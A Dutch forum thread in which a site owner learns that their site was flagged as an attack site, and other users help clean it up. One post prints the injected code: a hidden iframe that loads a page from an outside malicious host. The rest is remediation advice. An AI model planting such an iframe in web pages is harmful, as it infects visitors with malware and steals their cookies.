Hallo,

Nu ik terug ben van mijn vakantie, kijk ik op mijn site mobieltonen.nl en kom ik het volgende bericht tegen:

Gerapporteerde aanvalsite!

Aanvalsites proberen programma’s te installeren die privéinformatie stelen, uw computer gebruiken om anderen aan te vallen, of uw systeem beschadigen.

Sommige aanvalsites verspreiden bewust gevaarlijke software, maar vele zijn gecompromitteerd zonder de kennis of toestemming van hun eigenaars.

Zou iemand mij kunnen uit leggen wat dit is?
(Oja, ik zie het trouwens alleen in firefox en safari...)

http://safebrowsing.clients.google.c...obieltonen.nl/
http://www.wwohn.nl/gerapporteerde-a...-en-effectief/

dat had ik een tijdje geleden ook, bij mij scheen er een lek in scripts te zitten...

John,
Ik heb dit artikel al gelezen, alleen ik snap er niet veel tot vrijwel niks van..
Betekent dit dat mijn site is gehackt of iets dergelijke..?

Dit is het probleem:

Code:

<iframesrc="http://bigtopfestival.cn:8080/index.php" width=169 height=166 style="visibility: hidden"></iframe>

Hallo,

Ik heb dit nu verwijderd.
Alleen wat moet ik nu verder nog doen? ( Wachtwoord veranderen ofzo..? )
+ Wat waren eigenlijk de gevolgen van dit iframe?

Tomas.

Ze hebben ftp toegang, of gebruikgemaakt van een lek in één van je php scripts en dat iframe toegevoegd.
Waarschijnlijk hebben ze je bezoekers geinfecteerd met malware, of ze stelen cookies.

Vergeet niet om een heroverweging te vragen, zodat die waarschuwing verdwijnt.

Dus voor de FTP toegang is het dus handig om mijn wachtwoord te veranderen?

Origineel gepost door Tomas Smits

Dus voor de FTP toegang is het dus handig om mijn wachtwoord te veranderen?

1. Verwijder troep van je site
2. Pas wachtwoorden aan
3. Vraag om heroverweging
4. Lees artikel: http://www.stopbadware.org/home/security

Uiteraard, anders doen ze het morgen nogmaals.
Ik zag overigens dat deze jongens zich bezig houden met flash/pdf exploits en trojans.

Ik raad aan ook gelijk even je virusscanner aan te zetten op je pc!

Al mijn websites waren vorige week ook besmet geraakt door deze iframes.
Heb mijn hele pc's opnieuw moeten installeren, AVG kon het virus niet verwijderen.

Hmm,

Ik heb op dit moment op mijn mac nog geen viruscanner..
Maar die ga ik dan zo snel mogelijk een halen.

Waarschijnlijk gebruik je filezilla?
Daar had ik namelijk dit probleem mee.

Origineel gepost door J. Bosman

Waarschijnlijk gebruik je filezilla?
Daar had ik namelijk dit probleem mee.

had het ook gezien :-)
gelukkig blokkeerde men antivir het ;-)

succes